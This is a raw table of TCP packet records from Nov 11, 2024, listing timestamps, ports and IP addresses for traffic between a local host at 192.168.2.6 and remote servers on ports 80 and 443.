Nov 11, 2024 12:40:27.814181089 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.814207077 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.814291954 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.814974070 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.814985991 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.815206051 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.815216064 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.815387964 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.815397024 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.815500021 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:27.815525055 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:27.834803104 CET	49869	443	192.168.2.6	23.209.72.39
Nov 11, 2024 12:40:28.134700060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.134749889 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.136385918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.136419058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.136430025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.136430979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.136461020 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.136490107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.136528015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137089014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137101889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137131929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137142897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137151003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137161970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137172937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137185097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137196064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137197971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137233019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137259960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137456894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137468100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137480974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137492895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137495995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137500048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137506962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137509108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137514114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137554884 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137814045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137842894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137857914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137871027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137878895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.137886047 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.137924910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138101101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138113976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138144016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138205051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138221025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138231993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138242960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138246059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138279915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138294935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138307095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138318062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138326883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138329983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138343096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138359070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138361931 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138386011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138392925 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138576984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138590097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138600111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138612032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138628960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138628960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138642073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138653040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138674021 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138689995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.138969898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138982058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138992071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.138998032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139004946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139010906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139017105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139029980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139059067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.139072895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.139132023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139172077 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.139200926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.139240026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141377926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141388893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141400099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141411066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141422987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141427040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141434908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141448021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141464949 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141479969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141482115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141491890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141503096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141520977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141525030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141536951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141546965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141549110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141561985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141571999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141575098 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141583920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141596079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141597986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141608000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141612053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141621113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141635895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141655922 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141823053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141834021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141844988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141860962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141869068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141872883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141885996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141894102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141897917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141921997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141928911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141941071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141947031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141952991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141968966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.141971111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141984940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.141990900 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142002106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142019033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142020941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142033100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142044067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142045975 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142056942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142067909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142071962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142080069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142095089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142122030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142868042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142879009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142890930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142903090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142911911 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142914057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142926931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142939091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142950058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142961025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142976999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142976999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142985106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.142991066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.142997980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143008947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143021107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143021107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143026114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143032074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143044949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143054008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143058062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143069983 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143094063 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143472910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143485069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143495083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143507957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143515110 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143524885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143562078 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143623114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143635035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143645048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143656969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143667936 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143672943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143680096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143692970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143702984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143706083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143714905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143718004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143728018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143740892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143743038 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143753052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143764973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143770933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143776894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143788099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143790007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.143810034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.143834114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144387007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144397974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144408941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144431114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144457102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144494057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144505024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144515038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144526005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144535065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144537926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144545078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144555092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144558907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144566059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144577026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144593954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144599915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144607067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144618034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144627094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144629955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144642115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144653082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144659042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144664049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144675970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.144679070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144694090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.144707918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145384073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145395994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145410061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145421028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145426035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145433903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145446062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145457983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145456076 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145478010 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145498037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145526886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145544052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145555019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145565987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145567894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145577908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145586014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145590067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145602942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145612955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145613909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145627022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145628929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145637035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145649910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145653009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145661116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.145684004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.145699024 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146384001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146406889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146425009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146440983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146444082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146452904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146464109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146475077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146476984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146486044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146491051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146498919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146511078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146522045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146522045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146528959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146533966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146544933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146558046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146560907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146573067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146581888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146590948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146599054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146603107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146615028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146625042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146626949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.146647930 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.146670103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147308111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147325039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147336006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147346973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147361040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147365093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147376060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147386074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147397041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147408009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147411108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147411108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147418976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147430897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147440910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147444010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147456884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147464991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147466898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147480011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147490978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147490978 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147502899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147514105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147520065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147526026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.147531986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147546053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.147576094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148071051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148132086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148267031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148283005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148293972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148308039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148315907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148320913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148332119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148344040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148345947 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148355961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148366928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148370981 CET	49827	80	192.168.2.6	185.215.113.206
